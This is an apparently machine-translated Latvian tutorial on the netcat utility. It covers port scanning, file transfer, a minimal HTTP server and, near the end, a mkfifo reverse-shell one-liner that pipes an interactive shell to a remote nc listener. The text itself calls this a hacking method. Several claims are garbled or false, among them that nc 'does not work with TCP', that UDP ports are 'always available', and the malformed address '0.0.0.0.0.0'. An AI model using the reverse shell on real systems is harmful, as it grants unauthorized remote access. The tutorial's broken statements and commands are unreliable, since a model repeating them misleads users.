Komanda netcat
ir nepieciešama datu nosūtīšanai un saņemšanai, izmantojot TCP un UDP protokolus. Tai nav liela funkciju kopuma, taču ar to pietiek savienojumu pārbaudei un vienkāršai atkļūdošanas novēršanai. Kā sazināties, izmantojot TCP protokolu? Šo jautājumu uzdod daudzi lietotāji. Šajā rakstā mēs atbildēsim uz šo jautājumu, kā arī parādīsim komandas reāla pielietojuma piemērus.
Netcat
(vai nc
) komanda ir jaudīgs rīks darbam ar tīkla savienojumiem. To bieži izmanto sistēmu administratori un izstrādātāji dažādu uzdevumu veikšanai. Šeit ir izklāstītas galvenās netcat
funkcijas un iespējas:
Netcat
ir daudzpusīgs rīks, ko var izmantot visdažādākajos scenārijos, sākot ar vienkāršu ziņojumu sūtīšanu un beidzot ar sarežģītām tīkla operācijām.
Sāksim ar sintakses apskatīšanu un aplūkosim populārākās no tām:
-6
- izmantot IPv6 protokolu. Pēc noklusējuma ir -4 un IPv4;-h
- parāda palīdzību ar pieejamo parametru sarakstu;-i
- delay - pievieno aizkavi starp virkņu nosūtīšanu vai portu skenēšanu. To nosaka sekundēs;-l
- klausīšanās režīms. Izmanto kopā ar porta specifikāciju;-N
- slēdz savienojumu, kad, sūtot failu, ir sasniegts tā beigas;-n
- strādāt ar IP adresēm tieši bez DNS, arī atslēgt portu skenēšanu;-P -
lietotāja_vārds - norāda lietotāja vārdu, lai izveidotu savienojumu ar starpniekserveri;-x
- address:port - norādiet adresi un portu, lai izveidotu savienojumu ar starpniekserveri;-p
- port - norādiet porta numuru. Vairumā gadījumu ports tiek nolasīts, nenorādot parametru;-U
- izmantot UNIX domēna ligzdu (starpprocesu saziņai);-u
- izmantot UDP protokolu, pēc noklusējuma tiek izmantots TCP;-v
- detalizēts režīms. Izmanto skenēšanas laikā;-W
number_packets - slēdz savienojumu pēc noteikta pakešu skaita saņemšanas;-w
timer - ieslēdz taimeri, lai ierobežotu savienojuma laiku. To nosaka sekundēs;-z
- atslēgt datu sūtīšanu. To izmanto skenēšanas laikā.Komandai ir šāda forma (parametru porta adrese):
$ nc
Tālāk mēs pastāstīsim, kā izmantot komandu.
Pārbaude ir galvenais netcat
izmantošanas veids. Jums jāizmanto divi parametri -vz
, norādiet adresi un portu. Var norādīt adrešu diapazonu, bet šajā gadījumā labāk ir atsijāt tikai atvērtās porti ar komandugrep
. Pārskenēsim vietējā tīkla adreses porti:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Tādā pašā veidā skenēsim UDP porti, pievienojot parametru -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Jums jāzina galvenā atšķirība starp TCP un UDP. Tātad UDP porti ir pieejami vienmēr.
Parametrs -l
ir paredzēts porta klausīšanai. Bieži vien ar to pietiek, bet jūs varat ieslēgt detalizētu režīmu:
$ nc -nlv 8080
Atcerieties, ka, izmantojot TCP protokolu, portam jābūt brīvam, pretējā gadījumā parādīsies kļūda Jau tiek izmantots. Ne visus portus var izmantot parastie lietotāji, piemēram, 80 portu (HTTP), visticamāk, to aizņems cits process, un tam būs nepieciešamas superlietotāja tiesības.
Noderīga komandas spēja ir datu apmaiņa. Vienkāršs piemērs ir teksta tērzēšanas istaba. Lai sāktu tērzēšanu vienā datorā, palaidiet utilītu portu klausīšanās režīmā:
$ nc -lp 8080
Otrajā datorā būs jānorāda pirmā datora adrese un tas pats ports. Neaizmirstiet arī pārbaudīt, vai ports ir atvērts:
$ nc 0.0.0.0 8080
Šādā veidā jūs varēsiet sūtīt un saņemt ziņojumus. Tas nozīmē, ka komanda ir paredzēta failu apmaiņai. Princips ir tāds pats, tikai izejas datus ir nepieciešams novirzīt uz failu, proti, paste.txt:
$ nc -l 8080 > paste.txt
Otrā datorā par ievadi kalpos fails copy.txt.
Nav lieki izmantot parametru -N
, lai pēc faila pārsūtīšanas slēgtu savienojumu:
$ nc -N 0.0.0.0 8080 < copy.txt
Lai pārsūtītu failu, ir svarīgi ievērot secību, vispirms atvērt klausīšanos un tikai pēc tam nosūtīt failu. Komanda nc ir funkcionējošs, bet nebūt ne labākais veids, kā pārsūtīt failus. Šim uzdevumam ir efektīvāki un noderīgāki rīki.
Tā kā NC komanda nedarbojas ar TCP protokolu, tā ļauj gan sūtīt, gan saņemt HTTP pieprasījumus. Tādējādi utilīts var kļūt par vienkāršu tīmekļa serveri. Jā, šādā veidā jūs nevarat izdarīt neko sarežģītāku par tukšu lapu, taču darbība neaizņems gandrīz nekādu laiku, un pluss ir tas, ka jums nav nepieciešams instalēt neko papildu.
Par piemēru veidlapas HTTP atbilde ar failu index.html.
Runājot par pašu np, ir labi iestatīt taimeri ar parametru -w 1
, lai pārtrauktu savienojumu, ja pārlūkprogramma to nedara:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Lai iegūtu datus no tīmekļa vietnes, varat izveidot pieprasījumu un nosūtīt to uz ieteikto adresi un portu. Taču šis veids ir diezgan sarežģīts, labāk izmantot atbilstošu CURL komandu.
Pamatojoties uz iepriekš aplūkotajiem piemēriem, nebūs grūti secināt, ka šī komanda ļauj organizēt attālinātu piekļuvi datora čaulā. Iepriekš NC utilītprogrammai bija vairāki parametri, lai atvērtu piekļuvi terminālim. Parametrs -e
jau sen no utilīta ir izņemts, tāpēc vienkārša piekļuve terminālim vairs nebūs iespējama. Pašas lietojumprogrammas drošība ir kļuvusi augstāka, taču tā joprojām var darboties kopā ar citām.
Parādīsim savienojumu, izmantojot nosaukto kanālu mkfifo. Vispirms sāksim klausīties portu datorā, kurā iegūsim piekļuvi:
$ nc -lvnp 8080
Pārejam tieši uz komandu, lai atvērtu termināli. Vispirms dzēsīsim veco nosaukto kanālu(rm /tmp/f
), tā vietā izveidosim jaunu(mkfifo /tmp/f
), nolasīsim tā saturu(cat /tmp/f
) un nosūtīsim čaulas komandu uz tā izvadi(sh -i 2>&1)
. Pēc tam atliek palaist nc ar izvadi uz mūsu nosaukto kanālu(nc 0.0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Paturiet prātā, ka šis ir viens no veidiem, kā uzlauzt, tomēr tas var būt noderīgs, ja rodas problēmas ar ssh.
Lai novērstu uzbrukumu, konfigurējiet drošības politiku un ugunsmūri.